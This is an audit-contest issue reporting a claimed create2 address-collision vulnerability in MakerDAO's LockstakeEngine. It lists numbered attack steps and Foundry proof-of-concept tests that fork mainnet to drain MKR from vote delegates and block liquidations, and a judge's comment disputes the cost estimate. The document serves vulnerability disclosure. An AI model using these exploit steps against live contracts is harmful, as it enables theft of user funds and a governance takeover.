sherlock-audit / 2024-06-makerdao-endgame-judging

1 stars 1 forks source link

00xSEV - An attacker can exploit LSUrn address collisions using create2 for complete control of Maker protocol #64

Closed sherlock-admin2 closed 1 week ago

sherlock-admin2 commented 1 month ago

00xSEV

High

An attacker can exploit LSUrn address collisions using create2 for complete control of Maker protocol

Summary

An attacker can use brute force to find a collision between a new urn address (dependent solely on msg.sender) and an EOA controlled by the attacker. While this currently costs between $1.5 million and several million dollars (detailed in "Vulnerability Details"), the cost is decreasing, making the attack more feasible over time.

By brute-forcing two such urns, the attacker can transfer all MKR used in LSE and VDs to their own VD, allowing them to elect any new hat and potentially take full control of the Maker protocol.

Vulnerability Detail

Feasibility of Collision

The current cost of this attack is estimated to be less than $1.5 million at current prices.

The computational, time, and memory costs have been extensively discussed in many issues with multiple judges, concluding that the attack is possible, albeit relatively expensive (up to millions of dollars). Given that MKR's market cap is ~$2.2 billion as of August 3, and 11.7% ($242 million) is now delegated, the potential profit significantly outweighs the cost of the attack.

Considering that the reviewed contracts are the final state of MakerDAO, we must be aware that future price drops for this attack will occur due to new algorithms, reduced computational costs, and specialized hardware (ASICs). These machines, created for the attack, could also be used to compromise other protocols, further reducing the cost per attack. Additionally, growth in Maker's market cap can make the attack more profitable and worthy of investment.

Examples of Previous Issues with the Same Root Cause

All of these were judged as valid medium

Summary

The current cost of this attack is estimated to be less than $1.5 million at current prices.

An attacker can find a single address collision between (1) and (2) with a high probability of success using the meet-in-the-middle technique, a classic brute-force-based attack in cryptography:

The feasibility, detailed technique, and hardware requirements for finding a collision are well-documented:

The Bitcoin network hashrate has reached 6.5x10^20 hashes per second, taking only 31 minutes to achieve the necessary hashes. A fraction of this computing power can still find a collision within a reasonable timeframe.

Steps

  1. An attacker needs to find two private keys that create EOAs with the following properties:
    • The first key generates a regular EOA, eoa11
    • The second key, eoa12, when used as a salt for LSUrn creation, produces an urn with an address equal to eoa11.
  2. Call vat.hope(attacker) and lsmkr.approve(attacker, max) from eoa11.
  3. Call LSE.open(0) from eoa12:
    1. It creates LSUrn1.
    2. LSUrn1 address == eoa11 address.
    3. LSUrn1 retains the approvals given from eoa11 in step 2.
  4. Repeat the process using eoa21, eoa22, and LSUrn2.
  5. Call LSE.lock(LSUrn1, 1000e18) to deposit 1000 MKR into LSUrn1:
    1. This increases vat.urns[LSUrn1].ink by 1000e18.
    2. urnVoteDelegates[LSUrn1] remains address(0).
  6. Transfer 1000e18 .ink from LSUrn1 to LSUrn2:
    1. This can be done from the attacker account using vat.fork because both LSUrns have given approval to the attacker address.
    2. Alternatively, vat.frob can be used to move from vat.urns[LSUrn1].ink to vat.gem[LSUrn1], and then vat.frob to move from vat.gem[LSUrn1] to vat.urns[LSUrn2].ink.
  7. Create attackersVD (controlled by the attacker) using VoteDelegateFactory.create from the attacker address.
  8. Call LSE.selectVoteDelegate(LSUrn1, victimVD):
    1. victimVD is the target for fund extraction.
    2. The system checks the funds by querying vat.urns(ilk, urn).
    3. Since .ink was moved to LSUrn2 in step 6, LSUrn1 has 0 .ink, so no funds are moved to victimVD, but urnVoteDelegates[LSUrn1] is set to victimVD.
  9. Move .ink from LSUrn2 back to LSUrn1 (See step 6).
  10. Call LSE.selectVoteDelegate(LSUrn1, attackersVD):
    1. The system sees that LSUrn1 has 1000e18 .ink.
    2. It calls VD.withdraw inside _selectVoteDelegate with prevVoteDelegate set to victimVD.
    3. 1000e18 MKR is moved from victimVD to attackersVD.
  11. Call LSE.selectVoteDelegate(LSUrn2, victimVD) (see step 8).
  12. Move .ink from LSUrn1 to LSUrn2 (See step 6).
  13. Call LSE.selectVoteDelegate(LSUrn2, attackersVD) (see step 10):
    1. vat.urns[LSUrn2].ink == 1000e18.
    2. attackersVD balance of MKR is 2000e18.
  14. Repeat steps 8-13 to drain victimVD.
  15. Repeat for different victimVD.
  16. Replace victimVD with address(0) and repeat steps 8-13 to move all funds in LSE to attackersVD.
  17. The attacker can then LSE.free 850 MKR (depositing 1000 MKR - 15% withdrawal fee) to reduce the capital/cost required for the attack.
  18. Create a hat and vote for it with all the stolen power (almost all active voters), thereby gaining full control of the system:
    1. Most active voters are VoteDelegates:
      1. This can be verified in the "Supporters" section of the latest vote.
    2. Although only 11.7% of MKR is currently delegated, this percentage is expected to grow (increasing voter participation is a key goal of EndGame, as outlined in "Improved voter participation", #2, and key goal here). Others most likely will not be able to gather more votes within 16 hours to prevent the attacker's hat from being selected.

Result:

Other Variations:

Link to create2

Impact

Code Snippet

PoC

  1. Create test/ALockstakeEngine.sol in the root project directory.
    test/ALockstakeEngine.sol
// SPDX-License-Identifier: AGPL-3.0-or-later

pragma solidity ^0.8.21;

import "../dss-flappers/lib/dss-test/src//DssTest.sol";
import "../dss-flappers/lib/dss-test/lib/dss-interfaces/src/Interfaces.sol";
import { LockstakeDeploy } from "../lockstake/deploy/LockstakeDeploy.sol";
import { LockstakeInit, LockstakeConfig, LockstakeInstance } from "../lockstake/deploy/LockstakeInit.sol";
import { LockstakeMkr } from "../lockstake/src/LockstakeMkr.sol";
import { LockstakeEngine } from "../lockstake/src/LockstakeEngine.sol";
import { LockstakeClipper } from "../lockstake/src/LockstakeClipper.sol";
import { LockstakeUrn } from "../lockstake/src/LockstakeUrn.sol";
import { VoteDelegateFactoryMock, VoteDelegateMock } from "../lockstake/test/mocks/VoteDelegateMock.sol";
import { GemMock } from "../lockstake/test/mocks/GemMock.sol";
import { NstMock } from "../lockstake/test/mocks/NstMock.sol";
import { NstJoinMock } from "../lockstake/test/mocks/NstJoinMock.sol";
import { StakingRewardsMock } from "../lockstake/test/mocks/StakingRewardsMock.sol";
import { MkrNgtMock } from "../lockstake/test/mocks/MkrNgtMock.sol";

import {VoteDelegateFactory} from "../vote-delegate/src/VoteDelegateFactory.sol";
import {VoteDelegate} from "../vote-delegate/src/VoteDelegate.sol";

contract DSChiefLike  {
    DSTokenAbstract public IOU;
    DSTokenAbstract public GOV;
    mapping(address=>uint256) public deposits;
    function free(uint wad) public {}
    function lock(uint wad) public {}
}

interface CalcFabLike {
    function newLinearDecrease(address) external returns (address);
}

interface LineMomLike {
    function ilks(bytes32) external view returns (uint256);
}

interface MkrAuthorityLike {
    function rely(address) external;
}

contract ALockstakeEngineTest is DssTest {
    using stdStorage for StdStorage;

    DssInstance             dss;
    address                 pauseProxy;
    DSTokenAbstract         mkr;
    LockstakeMkr            lsmkr;
    LockstakeEngine         engine;
    LockstakeClipper        clip;
    address                 calc;
    MedianAbstract          pip;
    VoteDelegateFactory     voteDelegateFactory;
    NstMock                 nst;
    NstJoinMock             nstJoin;
    GemMock                 rTok;
    StakingRewardsMock      farm;
    StakingRewardsMock      farm2;
    MkrNgtMock              mkrNgt;
    GemMock                 ngt;
    bytes32                 ilk = "LSE";
    address                 voter;
    address                 voteDelegate;

    LockstakeConfig     cfg;

    uint256             prevLine;

    address constant LOG = 0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F;

    event AddFarm(address farm);
    event DelFarm(address farm);
    event Open(address indexed owner, uint256 indexed index, address urn);
    event Hope(address indexed urn, address indexed usr);
    event Nope(address indexed urn, address indexed usr);
    event SelectVoteDelegate(address indexed urn, address indexed voteDelegate_);
    event SelectFarm(address indexed urn, address farm, uint16 ref);
    event Lock(address indexed urn, uint256 wad, uint16 ref);
    event LockNgt(address indexed urn, uint256 ngtWad, uint16 ref);
    event Free(address indexed urn, address indexed to, uint256 wad, uint256 freed);
    event FreeNgt(address indexed urn, address indexed to, uint256 ngtWad, uint256 ngtFreed);
    event FreeNoFee(address indexed urn, address indexed to, uint256 wad);
    event Draw(address indexed urn, address indexed to, uint256 wad);
    event Wipe(address indexed urn, uint256 wad);
    event GetReward(address indexed urn, address indexed farm, address indexed to, uint256 amt);
    event OnKick(address indexed urn, uint256 wad);
    event OnTake(address indexed urn, address indexed who, uint256 wad);
    event OnRemove(address indexed urn, uint256 sold, uint256 burn, uint256 refund);

    function _divup(uint256 x, uint256 y) internal pure returns (uint256 z) {
        // Note: _divup(0,0) will return 0 differing from natural solidity division
        unchecked {
            z = x != 0 ? ((x - 1) / y) + 1 : 0;
        }
    }

    // Real contracts for mainnet
    address chief = 0x0a3f6849f78076aefaDf113F5BED87720274dDC0;
    address polling = 0xD3A9FE267852281a1e6307a1C37CDfD76d39b133;
    uint chiefBalanceBeforeTests;

    function setUp() public virtual {
        vm.createSelectFork(vm.envString("ETH_RPC_URL"), 20422954);

        dss = MCD.loadFromChainlog(LOG);

        pauseProxy = dss.chainlog.getAddress("MCD_PAUSE_PROXY");
        pip = MedianAbstract(dss.chainlog.getAddress("PIP_MKR"));
        mkr = DSTokenAbstract(dss.chainlog.getAddress("MCD_GOV"));
        nst = new NstMock();
        nstJoin = new NstJoinMock(address(dss.vat), address(nst));
        rTok = new GemMock(0);
        ngt = new GemMock(0);
        mkrNgt = new MkrNgtMock(address(mkr), address(ngt), 24_000);
        vm.startPrank(pauseProxy);
        MkrAuthorityLike(mkr.authority()).rely(address(mkrNgt));
        vm.stopPrank();

        // voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr));
        voteDelegateFactory = new VoteDelegateFactory(
            chief, polling
        );
        voter = address(123);
        vm.prank(voter); voteDelegate = voteDelegateFactory.create();

        vm.prank(pauseProxy); pip.kiss(address(this));
        vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(1_500 * 10**18)));

        LockstakeInstance memory instance = LockstakeDeploy.deployLockstake(
            address(this),
            pauseProxy,
            address(voteDelegateFactory),
            address(nstJoin),
            ilk,
            15 * WAD / 100,
            address(mkrNgt),
            bytes4(abi.encodeWithSignature("newLinearDecrease(address)"))
        );

        engine = LockstakeEngine(instance.engine);
        clip = LockstakeClipper(instance.clipper);
        calc = instance.clipperCalc;
        lsmkr = LockstakeMkr(instance.lsmkr);
        farm = new StakingRewardsMock(address(rTok), address(lsmkr));
        farm2 = new StakingRewardsMock(address(rTok), address(lsmkr));

        address[] memory farms = new address[](2);
        farms[0] = address(farm);
        farms[1] = address(farm2);

        cfg = LockstakeConfig({
            ilk: ilk,
            voteDelegateFactory: address(voteDelegateFactory),
            nstJoin: address(nstJoin),
            nst: address(nstJoin.nst()),
            mkr: address(mkr),
            mkrNgt: address(mkrNgt),
            ngt: address(ngt),
            farms: farms,
            fee: 15 * WAD / 100,
            maxLine: 10_000_000 * 10**45,
            gap: 1_000_000 * 10**45,
            ttl: 1 days,
            dust: 50,
            duty: 100000001 * 10**27 / 100000000,
            mat: 3 * 10**27,
            buf: 1.25 * 10**27, // 25% Initial price buffer
            tail: 3600, // 1 hour before reset
            cusp: 0.2 * 10**27, // 80% drop before reset
            chip: 2 * WAD / 100,
            tip: 3,
            stopped: 0,
            chop: 1 ether,
            hole: 10_000 * 10**45,
            tau: 100,
            cut: 0,
            step: 0,
            lineMom: true,
            tolerance: 0.5 * 10**27,
            name: "LOCKSTAKE",
            symbol: "LMKR"
        });

        prevLine = dss.vat.Line();

        vm.startPrank(pauseProxy);
        LockstakeInit.initLockstake(dss, instance, cfg);
        vm.stopPrank();

        deal(address(mkr), address(this), 100_000 * 10**18, true);
        deal(address(ngt), address(this), 100_000 * 24_000 * 10**18, true);

        // Add some existing DAI assigned to nstJoin to avoid a particular error
        stdstore.target(address(dss.vat)).sig("dai(address)").with_key(address(nstJoin)).depth(0).checked_write(100_000 * RAD);

        chiefBalanceBeforeTests = mkr.balanceOf(chief);
    }

}

It is based on the LockstakeEngine.t.sol setUp function:

To see the diff, you can run git diff. Note: all other functions except setUp are removed from the file and the diff.

git diff --no-index lockstake/test/LockstakeEngine.t.sol test/ALockstakeEngine.sol ```diff diff --git a/lockstake/test/LockstakeEngine.t.sol b/test/ALockstakeEngine.sol index 83fa75d..ba4f381 100644 --- a/lockstake/test/LockstakeEngine.t.sol +++ b/test/ALockstakeEngine.sol @@ -2,20 +2,32 @@ pragma solidity ^0.8.21; -import "dss-test/DssTest.sol"; -import "dss-interfaces/Interfaces.sol"; -import { LockstakeDeploy } from "deploy/LockstakeDeploy.sol"; -import { LockstakeInit, LockstakeConfig, LockstakeInstance } from "deploy/LockstakeInit.sol"; -import { LockstakeMkr } from "src/LockstakeMkr.sol"; -import { LockstakeEngine } from "src/LockstakeEngine.sol"; -import { LockstakeClipper } from "src/LockstakeClipper.sol"; -import { LockstakeUrn } from "src/LockstakeUrn.sol"; -import { VoteDelegateFactoryMock, VoteDelegateMock } from "test/mocks/VoteDelegateMock.sol"; -import { GemMock } from "test/mocks/GemMock.sol"; -import { NstMock } from "test/mocks/NstMock.sol"; -import { NstJoinMock } from "test/mocks/NstJoinMock.sol"; -import { StakingRewardsMock } from "test/mocks/StakingRewardsMock.sol"; -import { MkrNgtMock } from "test/mocks/MkrNgtMock.sol"; +import "../dss-flappers/lib/dss-test/src//DssTest.sol"; +import "../dss-flappers/lib/dss-test/lib/dss-interfaces/src/Interfaces.sol"; +import { LockstakeDeploy } from "../lockstake/deploy/LockstakeDeploy.sol"; +import { LockstakeInit, LockstakeConfig, LockstakeInstance } from "../lockstake/deploy/LockstakeInit.sol"; +import { LockstakeMkr } from "../lockstake/src/LockstakeMkr.sol"; +import { LockstakeEngine } from "../lockstake/src/LockstakeEngine.sol"; +import { LockstakeClipper } from "../lockstake/src/LockstakeClipper.sol"; +import { LockstakeUrn } from "../lockstake/src/LockstakeUrn.sol"; +import { VoteDelegateFactoryMock, VoteDelegateMock } from "../lockstake/test/mocks/VoteDelegateMock.sol"; +import { GemMock } from "../lockstake/test/mocks/GemMock.sol"; +import { NstMock } from "../lockstake/test/mocks/NstMock.sol"; +import { NstJoinMock } from "../lockstake/test/mocks/NstJoinMock.sol"; +import { StakingRewardsMock } from "../lockstake/test/mocks/StakingRewardsMock.sol"; +import { MkrNgtMock } from "../lockstake/test/mocks/MkrNgtMock.sol"; + +import {VoteDelegateFactory} from "../vote-delegate/src/VoteDelegateFactory.sol"; +import {VoteDelegate} from "../vote-delegate/src/VoteDelegate.sol"; + + +contract DSChiefLike { + DSTokenAbstract public IOU; + DSTokenAbstract public GOV; + mapping(address=>uint256) public deposits; + function free(uint wad) public {} + function lock(uint wad) public {} +} interface CalcFabLike { function newLinearDecrease(address) external returns (address); @@ -29,7 +41,7 @@ interface MkrAuthorityLike { function rely(address) external; } -contract LockstakeEngineTest is DssTest { +contract ALockstakeEngineTest is DssTest { using stdStorage for StdStorage; DssInstance dss; @@ -40,7 +52,7 @@ contract LockstakeEngineTest is DssTest { LockstakeClipper clip; address calc; MedianAbstract pip; - VoteDelegateFactoryMock voteDelegateFactory; + VoteDelegateFactory voteDelegateFactory; NstMock nst; NstJoinMock nstJoin; GemMock rTok; @@ -84,8 +96,13 @@ contract LockstakeEngineTest is DssTest { } } - function setUp() public { - vm.createSelectFork(vm.envString("ETH_RPC_URL")); + // Real contracts for mainnet + address chief = 0x0a3f6849f78076aefaDf113F5BED87720274dDC0; + address polling = 0xD3A9FE267852281a1e6307a1C37CDfD76d39b133; + uint chiefBalanceBeforeTests; + + function setUp() public virtual { + vm.createSelectFork(vm.envString("ETH_RPC_URL"), 20422954); dss = MCD.loadFromChainlog(LOG); @@ -101,7 +118,10 @@ contract LockstakeEngineTest is DssTest { MkrAuthorityLike(mkr.authority()).rely(address(mkrNgt)); vm.stopPrank(); - voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr)); + // voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr)); + voteDelegateFactory = new VoteDelegateFactory( + chief, polling + ); voter = address(123); vm.prank(voter); voteDelegate = voteDelegateFactory.create(); ```
  1. Add the following remappings.txt to the root project directory.

    dss-interfaces/=dss-flappers/lib/dss-test/lib/dss-interfaces/src/
    dss-test/=dss-flappers/lib/dss-test/src/
    forge-std/=dss-flappers/lib/dss-test/lib/forge-std/src/
    @openzeppelin/contracts/=sdai/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/
    @openzeppelin/contracts-upgradeable/=sdai/lib/openzeppelin-contracts-upgradeable/contracts/
    solidity-stringutils=nst/lib/openzeppelin-foundry-upgrades/lib/solidity-stringutils/
    lockstake:src/=lockstake/src/
    vote-delegate:src/=vote-delegate/src/
    sdai:src/=sdai/src/
  2. Run forge test --match-path test/ALSEH5.sol -vvv (PoCs for 2 LSUrns)

    
    // SPDX-License-Identifier: AGPL-3.0-or-later

pragma solidity ^0.8.21;

import "./ALockstakeEngine.sol";

contract VoteDelegateLike { mapping(address => uint256) public stake; }

interface ChiefLike { // function GOV() external view returns (GemLike); // function IOU() external view returns (GemLike); function lock(uint256) external; function free(uint256) external; function vote(address[] calldata) external returns (bytes32); function vote(bytes32) external; // mapping(address => uint256) public deposits; function deposits(address) external returns (uint); }

contract ALSEH5 is ALockstakeEngineTest { // Just some address that the attacker wants to use, a regular EOA address attacker = makeAddr("attacker"); // Address mined by the attacker to create LSUrn // so that the LSUrn address will be equal to an EOA controlled by the attacker address minedUrnCreator = makeAddr("minedUrnCreator");

address[] users = [
    makeAddr("user1"),
    makeAddr("user2"),
    makeAddr("user3")
];
address user4 = makeAddr("user4");

uint mkrAmount = 100_000 * 10**18;

address eoaUrn;

address voteDelegate2;

address minedUrnCreator2 = makeAddr("minedUrnCreator2");
address eoaUrn2;

function setUp() public override {
    // Call the parent setUp
    super.setUp();

    // This urn has the same address as an EOA controlled by the attacker
    // Here we make calls from the EOA, the urn is not created yet
    eoaUrn = engine.getUrn(minedUrnCreator, 0);

    // Give permissions from EOA, the urn is not created yet
    vm.prank(eoaUrn); dss.vat.hope(attacker);
    vm.prank(eoaUrn); lsmkr.approve(attacker, type(uint).max);

    // Create the urn; can't use EOA after that as per EIP-3607
    vm.prank(minedUrnCreator); engine.open(0);
    // Just for convenience in tests. It's controlled by the attacker
    vm.prank(minedUrnCreator); engine.hope(eoaUrn, attacker);

    // Simulate several other urns
    _createUrnDepositDrawForUsers();

    // Deposit a little bit of ink
    vm.startPrank(attacker);

    deal(address(mkr), attacker, mkrAmount);
    mkr.approve(address(engine), type(uint).max);
    engine.lock(eoaUrn, mkrAmount, 0);

    vm.stopPrank();

    _changeBlockNumberForChief();

    vm.prank(makeAddr("voter")); 
    voteDelegate2 = voteDelegateFactory.create();
}

function _moveInkToGem() internal {
    vm.prank(attacker); dss.vat.frob(ilk, eoaUrn, eoaUrn, address(0), -int(mkrAmount), 0);
}

// Chief won't allow withdrawal in the same block as the deposit
function _changeBlockNumberForChief() internal {
    vm.roll(block.number + 1);
}

function testAttack6SeveralLsUrnCollisions() public {
    _prepareSecondUrnCollision();

    // VD with the attacker as the owner
    vm.startPrank(attacker);
    address attackersVD = voteDelegateFactory.create();

    // Ensure LSE/VD has enough funds
    vm.startPrank(users[0]); 
    deal(address(mkr), users[0], mkrAmount * 10);
    engine.lock(engine.getUrn(users[0], 0), mkrAmount * 10, 0);
    _changeBlockNumberForChief();

    vm.startPrank(attacker);

    // Ensure urn1 has mkrAmount, urn2 has 0
    _assertEqInk({inkUrn1: mkrAmount, inkUrn2: 0});

    engine.selectVoteDelegate(eoaUrn2, voteDelegate);

    // While there are funds on LSE/VD
    for (uint i; i < 5; i++) {
        // Select attackerVD from urn1, move ink to eoaUrn2
        engine.selectVoteDelegate(eoaUrn, attackersVD);
        dss.vat.fork(ilk, eoaUrn, eoaUrn2, int(mkrAmount), 0);
        // Select victim VD while having 0 ink, so no MKR is transferred
        engine.selectVoteDelegate(eoaUrn, voteDelegate);
        _assertEqInk({inkUrn1: 0, inkUrn2: mkrAmount});

        // Select attackerVD from urn2, move ink to eoaUrn1
        engine.selectVoteDelegate(eoaUrn2, attackersVD);
        dss.vat.fork(ilk, eoaUrn2, eoaUrn, int(mkrAmount), 0);
        engine.selectVoteDelegate(eoaUrn2, voteDelegate);
        _assertEqInk({inkUrn1: mkrAmount, inkUrn2: 0});

        console.log("attackersVD balance: %e", ChiefLike(chief).deposits(attackersVD));
    }

    // Note: attacker only used 1 mkrAmount.
    assertEq(mkrAmount * 10, ChiefLike(chief).deposits(attackersVD));
}

function testAttack7SeveralLsUrnCollisionsStealFromLSE() external {
    _prepareSecondUrnCollision();

    // VD with the attacker as the owner
    vm.startPrank(attacker);
    address attackersVD = voteDelegateFactory.create();

    // Ensure LSE/VD has enough funds
    vm.startPrank(users[0]); 
    engine.selectVoteDelegate(engine.getUrn(users[0], 0), address(0));
    deal(address(mkr), users[0], mkrAmount * 10);
    engine.lock(engine.getUrn(users[0], 0), mkrAmount * 10, 0);
    _changeBlockNumberForChief();

    vm.startPrank(attacker);

    // Ensure urn1 has mkrAmount, urn2 has 0
    _assertEqInk({inkUrn1: mkrAmount, inkUrn2: 0});

    // While there are funds on LSE/VD
    for (uint i; i < 5; i++) {
        // Select attackerVD from urn1, move ink to eoaUrn2
        engine.selectVoteDelegate(eoaUrn, attackersVD);
        dss.vat.fork(ilk, eoaUrn, eoaUrn2, int(mkrAmount), 0);
        engine.selectVoteDelegate(eoaUrn, address(0));
        _assertEqInk({inkUrn1: 0, inkUrn2: mkrAmount});

        // Select attackerVD from urn2, move ink to eoaUrn1
        engine.selectVoteDelegate(eoaUrn2, attackersVD);
        dss.vat.fork(ilk, eoaUrn2, eoaUrn, int(mkrAmount), 0);
        engine.selectVoteDelegate(eoaUrn2, address(0));
        _assertEqInk({inkUrn1: mkrAmount, inkUrn2: 0});

        console.log("attackersVD balance: %e", ChiefLike(chief).deposits(attackersVD));
    }

    assertEq(mkrAmount * 10, ChiefLike(chief).deposits(attackersVD));
}

function _assertEqInk(uint inkUrn1, uint inkUrn2) internal view {
    (uint256 inkUrn1Real,) = dss.vat.urns(ilk, eoaUrn);
    (uint256 inkUrn2Real,) = dss.vat.urns(ilk, eoaUrn2);

    assertEq(inkUrn1Real, inkUrn1);
    assertEq(inkUrn2Real, inkUrn2);
}

function _prepareSecondUrnCollision() public {
    // Same as in setUp but for another urn
    eoaUrn2 = engine.getUrn(minedUrnCreator2, 0);

    // Give permissions from EOA, the urn is not created yet
    vm.prank(eoaUrn2); dss.vat.hope(attacker);
    vm.prank(eoaUrn2); lsmkr.approve(attacker, type(uint).max);

    // Create the urn; can't use EOA after that as per EIP-3607
    vm.prank(minedUrnCreator2); engine.open(0);
    vm.prank(minedUrnCreator2); engine.hope(eoaUrn2, attacker);
}

function _testSelectDelegate(bool expectRevert) internal {
    for (uint i; i < users.length; i++) {
        uint sId = vm.snapshot();

        address user = users[i];
        address urn = engine.getUrn(user, 0);

        if (expectRevert) {
            vm.expectRevert(bytes("Test"));
        }

        vm.prank(user); engine.selectVoteDelegate(urn, voteDelegate2);

        vm.revertTo(sId);
    }
}

function _sendOneInkFromEoaUrn(address user) internal {
    address urn = engine.getUrn(user, 0);
    vm.prank(attacker); dss.vat.frob(ilk, urn, eoaUrn, address(0), 1, 0);
}

function _testLiquidateUsingDog(address user, string memory revertMsg, bool useSnapshots) internal {
    uint sId;
    if (useSnapshots) sId = vm.snapshot();

    bool expectRevert = bytes(revertMsg).length > 0;
    address urn = engine.getUrn(user, 0);

    // Force urn unsafe
    _changeMkrPrice(0.05 * 10**18);

    if (expectRevert) vm.expectRevert(bytes(revertMsg));
    dss.dog.bark(ilk, urn, makeAddr("kpr"));

    if (useSnapshots) vm.revertTo(sId);
}

function _changeMkrPrice(uint newPrice) internal {
    vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(newPrice)));
    dss.spotter.poke(ilk);
}

function _testLiquidateUsingDog(address user, string memory revertMsg) internal {
    _testLiquidateUsingDog(user, revertMsg, true);
}

function _testLiquidateUsingDog() internal {
    for (uint i; i < users.length; i++) {
        address user = users[i];
        _testLiquidateUsingDog(user, "");
    }
}

function _createUrnDepositDrawForUsers() internal {
    for (uint i; i < users.length; i++) {
        _createUrnDepositDrawForUsers(users[i], voteDelegate);
    }
}

function _createUrnDepositDrawForUsers(address user, address _voteDelegate) internal {
    _createUrnDepositDrawForUsers(user, _voteDelegate, mkrAmount);
}

function _createUrnDepositDrawForUsers(address user, address _voteDelegate, uint amount) internal {
    deal(address(mkr), user, amount);

    vm.startPrank(user);

    mkr.approve(address(engine), type(uint).max);
    address urn = engine.open(0);
    engine.lock(urn, amount, 0);
    engine.selectVoteDelegate(urn, _voteDelegate);
    engine.draw(urn, user, amount / 50); // Same proportion as in original LSE test

    vm.stopPrank();
}

}

4. Run `forge test  --match-path test/ALSEH6.sol -vvv` (PoCs for 1 LSUrns)
```solidity
// SPDX-License-Identifier: AGPL-3.0-or-later

pragma solidity ^0.8.21;

import "./ALSEH5.sol";

contract ALSEH6 is ALSEH5 {

    function testAttack1Loop1Urn() public {
        console.log("MKR before the attack on attacker: %e", mkr.balanceOf(attacker));
        vm.prank(attacker);
        // VD with attacker as the owner
        address attackersVD = voteDelegateFactory.create();

        // Select this VD as the holder of eoaUrn MKR
        vm.prank(minedUrnCreator); engine.selectVoteDelegate(eoaUrn, attackersVD);
        console.log("Voting power on attackersVD before: %e", ChiefLike(chief).deposits(attackersVD));

        vm.startPrank(attacker); 

        // Move .ink to gem. Required so we can `frob` (add .ink) to urn2 from eoaUrn's gem
        dss.vat.frob(ilk, eoaUrn, eoaUrn, address(0), -int(mkrAmount), 0);

        // Open urn2
        address urn2 = engine.open(0);

        // Select the most popular voteDelegate that has enough MKR
        engine.selectVoteDelegate(urn2, voteDelegate);
        // Transfer lsMKR and urn.ink there
        lsmkr.transferFrom(eoaUrn, urn2, mkrAmount);
        dss.vat.frob(ilk, urn2, eoaUrn, address(0), int(mkrAmount), 0);

        // Withdraw from urn2. Note: MKR is still locked on chief through VD.stake on urn1
        // So we withdraw from other users
        engine.free(urn2, attacker, mkrAmount);

        // Now can continue voting using attackersVD, but also got back 85% of the MKR
        uint mkrBalanceAfterAttack = mkr.balanceOf(attacker);
        console.log("MKR after the attack on attacker: %e", mkrBalanceAfterAttack);
        console.log("Voting power on attackersVD after: %e", ChiefLike(chief).deposits(attackersVD));

        /* Loop */
        uint newMkrAmt = mkrBalanceAfterAttack;

        // Ensure main VD (the one the attacker steals from) has enough funds
        deal(address(mkr), users[0], mkrAmount * 10);
        vm.startPrank(users[0]); 
        engine.lock(engine.getUrn(users[0], 0), mkrAmount * 10, 0);
        vm.roll(block.number + 1);

        // Lock what's left, just repeat the steps above
        vm.startPrank(attacker);
        for (uint i; i < 20; i++) {
            console.log("Loop #", i);

            engine.lock(eoaUrn, newMkrAmt, 0);
            dss.vat.frob(ilk, eoaUrn, eoaUrn, address(0), -int(newMkrAmt), 0);
            lsmkr.transferFrom(eoaUrn, urn2, newMkrAmt);
            dss.vat.frob(ilk, urn2, eoaUrn, address(0), int(newMkrAmt), 0);
            engine.free(urn2, attacker, newMkrAmt);

            newMkrAmt = mkr.balanceOf(attacker);
            console.log("MKR after the attack on attacker: %e", newMkrAmt);
            console.log("Voting power on attackersVD after: %e", ChiefLike(chief).deposits(attackersVD));
        }
    }

    function testAttack4SendOneInk() public {
        _moveInkToGem();

        // Ensure users can withdraw/select VD/select farm
        _testLiquidateUsingDog();
        _testSelectDelegate({expectRevert: false});

        // Donate 1 wei each
        for (uint i; i < users.length; i++) {
            address user = users[i];
            _sendOneInkFromEoaUrn(user);
        }

        for (uint i; i < users.length; i++) {
            address user = users[i];
            _testLiquidateUsingDog({
                user: user, 
                revertMsg: "LockstakeMkr/insufficient-balance",
                useSnapshots: false}
            );
        }
    }

    function testAttack4SendOneInk2() public {
        testAttack4SendOneInk();

        // _testLiquidateUsingDog without snapshot changed MKR price, change it back
        _changeMkrPrice(1_500 * 10**18);
        // Test single user with a separate VD will revert
        _createUrnDepositDrawForUsers(user4, voteDelegate2);

        _changeBlockNumberForChief();
        _testLiquidateUsingDog({user: user4, revertMsg: ""});

        _sendOneInkFromEoaUrn(user4);

        // Now liquidation will revert
       _testLiquidateUsingDog({user: user4, revertMsg: "VoteDelegate/insufficient-stake"});
    }

    function testAttack4SendOneInk3() public {
        testAttack4SendOneInk2();

       // Depositing to VD won't help, because we also miss lsmkr, onKick tries to burn lsMkr
       _createUrnDepositDrawForUsers(makeAddr("user5"), voteDelegate2, 1e18);

       _changeBlockNumberForChief();
       _testLiquidateUsingDog({user: user4, revertMsg: "LockstakeMkr/insufficient-balance"});
    }

    function testAttack4SendOneInk4() public {
        testAttack4SendOneInk2();

        // try freeing everything
        vm.startPrank(user4);

        address urn = engine.getUrn(user4, 0);

        nst.approve(address(engine), type(uint).max);
        engine.wipeAll(urn);

        uint sID = vm.snapshot();
        // Can withdraw their deposit
        engine.free(urn, user4, mkrAmount);

        vm.revertTo(sID);
        // But not the donation
        vm.expectRevert("LockstakeMkr/insufficient-balance");
        engine.free(urn, user4, mkrAmount + 1);
    }

    function testAttack5SendLsMkr() public {
        // Same proportion as in original LSE test
        vm.prank(minedUrnCreator); engine.draw(eoaUrn, minedUrnCreator, mkrAmount/50); 

        _testLiquidateUsingDog(minedUrnCreator, "");

        // We can do it because the approve is given in setUp
        vm.prank(attacker); lsmkr.transferFrom(eoaUrn, attacker, mkrAmount);
        _testLiquidateUsingDog(minedUrnCreator, "LockstakeMkr/insufficient-balance");
    }
}

Tool used

Manual Review

Recommendation

sherlock-admin2 commented 1 month ago

1 comment(s) were left on this issue during the judging contest.

Audittens commented:

While the described vector for the attack is correct, its estimated cost is incorrect, because it relies on the blog post that shows only the cost of computing 2^{80} hashes. In order to find the collision among them a big overhead is required due to memory limitations and impossibility to calculate these hashes in parallel. The correct price estimation is shown in the https://eips.ethereum.org/EIPS/eip-3607, which is 10 billion USD. Here https://hackmd.io/Vzhp5YJyTT-LhWm_s0JQpA is the detailed explanation by the EIP-3607 author, why the cost of this attack is much bigger compared to only computing of 2^{80} hashes.

panprog commented 3 weeks ago

Escalate

